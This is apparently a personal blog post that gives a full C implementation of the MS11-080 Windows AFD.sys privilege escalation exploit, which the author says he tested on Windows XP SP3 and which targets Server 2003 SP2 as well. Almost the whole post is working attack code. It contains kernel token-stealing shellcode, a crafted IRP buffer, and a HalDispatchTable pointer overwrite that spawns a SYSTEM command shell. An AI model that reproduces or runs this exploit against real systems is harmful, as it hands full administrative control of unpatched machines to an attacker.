I am really curious about why this exploit is published in python? Anyway here is my implementation in C. I tested it on WinXP SP3 English, but it should also work on WIN 2K3 SP2 Standard/Enterprise English as original version does.

You can get original python script from here

#pragma comment(lib,"psapi.lib")
#pragma comment(lib,"ws2_32.lib")

#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <Psapi.h>
#include <Windows.h>

#define DRIVERCOUNT 1024
#define DRIVERNAMESIZE 256
#define MEMRES (0x1000 | 0x2000)
#define PAGEEXE 0x00000040

// AFDJoinLeaf
#define IOCTL  0x000120bb  

#define IRPSTUFF_SIZE 256
#define TOKENSTEALING_SIZE 70
#define RESTORETOKEN_SIZE 28
#define RESTOREPTRS_SIZE 22
#define PADDING_SIZE 2
#define SHELLCODE_SIZE (PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE)

// This will trigger the path to AfdRestartJoin
CHAR* irpstuff   = "\x41\x41\x41\x41\x42\x42\x42\x42\x00\x00\x00\x00\x44\x44" \
	"\x44\x44\x01\x00\x00\x00\xE8\x00\x34\xF0\x00\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45\x45" \
	"\x45\x45\x45\x45";
//70 byte
CHAR* tokenstealing_xp =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\xc8" \
	"\x8b\x98\xc8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x88\x00\x00\x00\x81\xe8\x88\x00" \
	"\x00\x00\x81\xb8\x84\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xc8\x00\x00\x00\x8b\xc1" \
	"\x89\x90\xc8\x00\x00\x00\x5b\x5a\xc2\x10";
//70 byte				 
CHAR* tokenstealing_2k3 =  "\x52\x53\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\xc8" \
	"\x8b\x98\xd8\x00\x00\x00\x89\x1d\x00\x09\x02\x00\x8b\x80\x98\x00\x00\x00\x81\xe8\x98\x00" \
	"\x00\x00\x81\xb8\x94\x00\x00\x00\x04\x00\x00\x00\x75\xe8\x8b\x90\xd8\x00\x00\x00\x8b\xc1" \
	"\x89\x90\xd8\x00\x00\x00\x5b\x5a\xc2\x10";
//28 byte				 
CHAR* restore_token_xp =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x44\x8b\x15\x00" \
	"\x09\x02\x00\x89\x90\xc8\x00\x00\x00\x5a\xc2\x10";
//28 byte				 
CHAR* restore_token_2k3 =  "\x52\x33\xc0\x64\x8b\x80\x24\x01\x00\x00\x8b\x40\x38\x8b\x15\x00\x09" \
	"\x02\x00\x89\x90\xd8\x00\x00\x00\x5a\xc2\x10";

//22 byte
CHAR* restore_ptrs_layout="\x31\xc0\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00\xb8\x00\x00\x00\x00\xa3\x00\x00\x00\x00";

//2 byte
CHAR* padding="\x90\x90";

typedef struct _IO_STATUS_BLOCK {
	NTSTATUS Status;
	ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;


typedef VOID (*PIO_APC_ROUTINE) (
	PVOID ApcContext,
	PIO_STATUS_BLOCK IoStatusBlock,
	ULONG Reserved
);

typedef NTSTATUS (NTAPI *_NtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN ULONG ZeroBits, IN OUT PULONG RegionSize, IN ULONG AllocationType, IN ULONG Protect );

typedef NTSTATUS (*_ZwDeviceIoControlFile)(
	__in HANDLE FileHandle, 
	__in_opt   HANDLE Event, 
	__in_opt   PIO_APC_ROUTINE ApcRoutine,
	__in_opt   PVOID ApcContext,
	__out      PIO_STATUS_BLOCK IoStatusBlock,
	__in       ULONG IoControlCode,
	__in_opt   PVOID InputBuffer,
	__in       ULONG InputBufferLength,
	__out_opt  PVOID OutputBuffer,
	__in       ULONG OutputBufferLength
);

typedef enum _KPROFILE_SOURCE {
    ProfileTime,
    ProfileAlignmentFixup,
    ProfileTotalIssues,
    ProfilePipelineDry,
    ProfileLoadInstructions,
    ProfilePipelineFrozen,
    ProfileBranchInstructions,
    ProfileTotalNonissues,
    ProfileDcacheMisses,
    ProfileIcacheMisses,
    ProfileCacheMisses,
    ProfileBranchMispredictions,
    ProfileStoreInstructions,
    ProfileFpInstructions,
    ProfileIntegerInstructions,
    Profile2Issue,
    Profile3Issue,
    Profile4Issue,
    ProfileSpecialInstructions,
    ProfileTotalCycles,
    ProfileIcacheIssues,
    ProfileDcacheAccesses,
    ProfileMemoryBarrierCycles,
    ProfileLoadLinkedIssues,
    ProfileMaximum
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;

typedef DWORD (WINAPI *_NtQueryIntervalProfile)( KPROFILE_SOURCE ProfileSource, PULONG Interval );

LPVOID findSysBase(char* driver){
	LPVOID drivers[DRIVERCOUNT];
	DWORD cbNeeded;
	CHAR driverName[DRIVERNAMESIZE];
	DWORD index;
	DWORD driverCount;

	if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){
		
		driverCount = cbNeeded /sizeof(drivers[0]);

		for(index=0;index<driverCount;index++){
			memset(driverName,0,DRIVERNAMESIZE);
			if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
				if(!stricmp(driver, driverName)){
					return drivers[index];
				}
			}
		}
	}

	return NULL;
}

char* findKernelVersion(){
	LPVOID drivers[DRIVERCOUNT];
	DWORD cbNeeded;
	DWORD index;
	DWORD driverCount;

	char* driverName = (char*)calloc(DRIVERNAMESIZE,sizeof(CHAR));

	if(EnumDeviceDrivers(drivers,DRIVERCOUNT,&cbNeeded) && cbNeeded<DRIVERCOUNT){		
		driverCount = cbNeeded /sizeof(drivers[0]);
		for(index=0;index<driverCount;index++){
			memset(driverName,0,DRIVERNAMESIZE);
			if(GetDeviceDriverBaseNameA(drivers[index],driverName,DRIVERNAMESIZE)>0){
				if(strstr(driverName,"krnl")){
					return driverName;
				}
			}
		}
	}
	return NULL;
}

int prepareAndConnectSocket(){

	WSADATA wsaData;
	int sock;
    struct sockaddr_in address;

	if (WSAStartup(0x202, &wsaData) != 0)
    {
        fprintf(stderr, "WSAStartup() failed");
        exit(1);
    }

	if ((sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,NULL,NULL)) == INVALID_SOCKET ){
		fprintf(stderr, "socket() failed");
        exit(1);
	}

	address.sin_family = AF_INET;
	address.sin_port = htons(4455);
	address.sin_addr.s_addr = inet_addr("127.0.0.1");

	if (!connect(sock, (struct sockaddr *) &address, sizeof(struct sockaddr_in)) == INVALID_SOCKET){
		fprintf(stderr, "connect() failed: %d",GetLastError());
        exit(1);
	}

	return sock;
}

FARPROC GetFunctionAddress(LPCSTR libraryName, LPCSTR functionName) {
	HMODULE hModule;
	hModule = LoadLibrary(libraryName);
	if(hModule==NULL)
		return NULL;

	return GetProcAddress(hModule,functionName);
}

char* int2chararray(int i)
{
	char* ch_array=(char*)calloc(4,sizeof(char));
	ch_array[0]=i&0xff;
	ch_array[1]=(i>>8)&0xff;
	ch_array[2]=(i>>16)&0xff;
	ch_array[3]=(i>>24)&0xff;
	return ch_array;
}

int main(int argc, char* argv[]){

	LPVOID driverBase,halBase;
	_NtAllocateVirtualMemory NtAllocateVirtualMemory;
	_ZwDeviceIoControlFile ZwDeviceIoControlFile;
	_NtQueryIntervalProfile NtQueryIntervalProfile;
	int client;
	SIZE_T written;
	NTSTATUS status;
	HMODULE hKernel;
	int krnlBase;
	char* os;
	int HaliQuerySystemInformation, HalpSetSystemInformation, HalDispatchTable;	
	int shellcode_address_dep, shellcode_address_nodep;
	int regionSize = 0x1000;
	int baseAddr = 0x1001;
	IO_STATUS_BLOCK IoStatusBlock;
	unsigned long out;
	CHAR* restore_ptrs,*shellcode;

	printf("[*] MS11-080 Privilege Escalation Exploit\n");

	if(argc < 2){
		printf("usage:  %s <XP|2K3>\n",argv[0]);
		return 0;
	}else if(!stricmp(argv[1],"XP")){
		os = "XP";
	}else if(!stricmp(argv[1],"2K3")){
		os = "2K3";
	}else{
		printf("usage:  %s <XP|2K3>\n",argv[0]);
		return 0;	
	}
	
	restore_ptrs = (CHAR*)malloc(RESTOREPTRS_SIZE);
	memcpy(restore_ptrs,restore_ptrs_layout,RESTOREPTRS_SIZE);

	client = prepareAndConnectSocket();
	
	NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetFunctionAddress("ntdll.dll","NtAllocateVirtualMemory");
	if(!NtAllocateVirtualMemory){
		fprintf(stderr, "GetProcAddress() failed");
        exit(1);
	}

	ZwDeviceIoControlFile = (_ZwDeviceIoControlFile) GetFunctionAddress("ntdll.dll","ZwDeviceIoControlFile");
	if(!ZwDeviceIoControlFile){
		fprintf(stderr, "GetProcAddress() failed");
        exit(1);
	}

	NtQueryIntervalProfile = (_NtQueryIntervalProfile) GetFunctionAddress("ntdll.dll","NtQueryIntervalProfile");
	if(!NtQueryIntervalProfile){
		fprintf(stderr, "GetProcAddress() failed");
        exit(1);
	}

	if(NtAllocateVirtualMemory(GetCurrentProcess(),(PVOID*)&baseAddr,0x0,(PSIZE_T)&regionSize,MEMRES, PAGEEXE)!=0){
		fprintf(stderr, "NtAllocateVirtualMemory() failed");
        exit(1);
	}

	WriteProcessMemory(GetCurrentProcess(),(LPVOID)0x1000,irpstuff,0x100,&written);
	VirtualProtect((LPVOID)0x00020000,0x1000,PAGEEXE,&written);

	hKernel = LoadLibraryEx(findKernelVersion(),NULL,DONT_RESOLVE_DLL_REFERENCES);
	krnlBase = (int)findSysBase(findKernelVersion());
	HalDispatchTable = (int)GetProcAddress(hKernel,"HalDispatchTable");

	HalDispatchTable -= (int)hKernel;
	HalDispatchTable += krnlBase;

	printf("[*] HalDispatchTable Address 0x%08x\n",HalDispatchTable);

	halBase = findSysBase("hal.dll");

	if(!strcmp(os,"XP")){//XP
		HaliQuerySystemInformation = (int)halBase + 0x16bba;
		HalpSetSystemInformation = (int)halBase + 0x19436;
	}else{// Win2k3 SP2
		HaliQuerySystemInformation = (int)halBase + 0x1fa1e;
		HalpSetSystemInformation = (int)halBase + 0x21c60;
	}

	printf("[*] HaliQuerySystemInformation address 0x%08x\n",HaliQuerySystemInformation);
	printf("[*] HalpSetSystemInformation address 0x%08x\n",HalpSetSystemInformation);
	
	shellcode_address_dep   = 0x0002071e;
	shellcode_address_nodep = 0x000207b8;

	memcpy(restore_ptrs+3,int2chararray(HalpSetSystemInformation),4);
	memcpy(restore_ptrs+8,int2chararray(HalDispatchTable+0x8),4);
	memcpy(restore_ptrs+13,int2chararray(HaliQuerySystemInformation),4);
	memcpy(restore_ptrs+18,int2chararray(HalDispatchTable+0x4),4);

	shellcode = (CHAR*)malloc(PADDING_SIZE+RESTOREPTRS_SIZE+TOKENSTEALING_SIZE);

	memcpy(shellcode,padding,PADDING_SIZE);
	memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
	if(!strcmp(os,"XP")){//XP
		memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_xp,TOKENSTEALING_SIZE);
	}else{// Win2k3 SP2
		memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,tokenstealing_2k3,TOKENSTEALING_SIZE);
	}

	WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
	WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);

	ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

	printf("[*] Triggering AFDJoinLeaf pointer overwrite...\n");
	NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);
	
	printf("[*] Spawning a SYSTEM shell\n");
	system("cmd.exe /T:C0 /K cd c:\\windows\\system32");

	printf("[*] Restoring token...\n");

	memset(shellcode,0,SHELLCODE_SIZE);
	memcpy(shellcode,padding,PADDING_SIZE);
	memcpy(shellcode+PADDING_SIZE,restore_ptrs,RESTOREPTRS_SIZE);
	if(!strcmp(os,"XP")){//XP
		memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_xp,RESTORETOKEN_SIZE);
	}else{// Win2k3 SP2
		memcpy(shellcode+PADDING_SIZE+RESTOREPTRS_SIZE,restore_token_2k3,RESTORETOKEN_SIZE);
	}

	WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_dep,shellcode,SHELLCODE_SIZE,&written);
	WriteProcessMemory(GetCurrentProcess(),(char*)shellcode_address_nodep,shellcode,SHELLCODE_SIZE,&written);
	
	ZwDeviceIoControlFile((HANDLE)client,NULL,NULL,NULL,&IoStatusBlock,IOCTL,(CHAR*)0x1004,0x108,(CHAR*)(HalDispatchTable+5),0x0);

	NtQueryIntervalProfile((KPROFILE_SOURCE)0x1337,&out);

	printf("[*] Restore done!\n");
	system("pause");
	return 0;
}


Ali Demiroz

I am a software developer, life-long learner and time-pemitted gamer!

blog comments powered by Disqus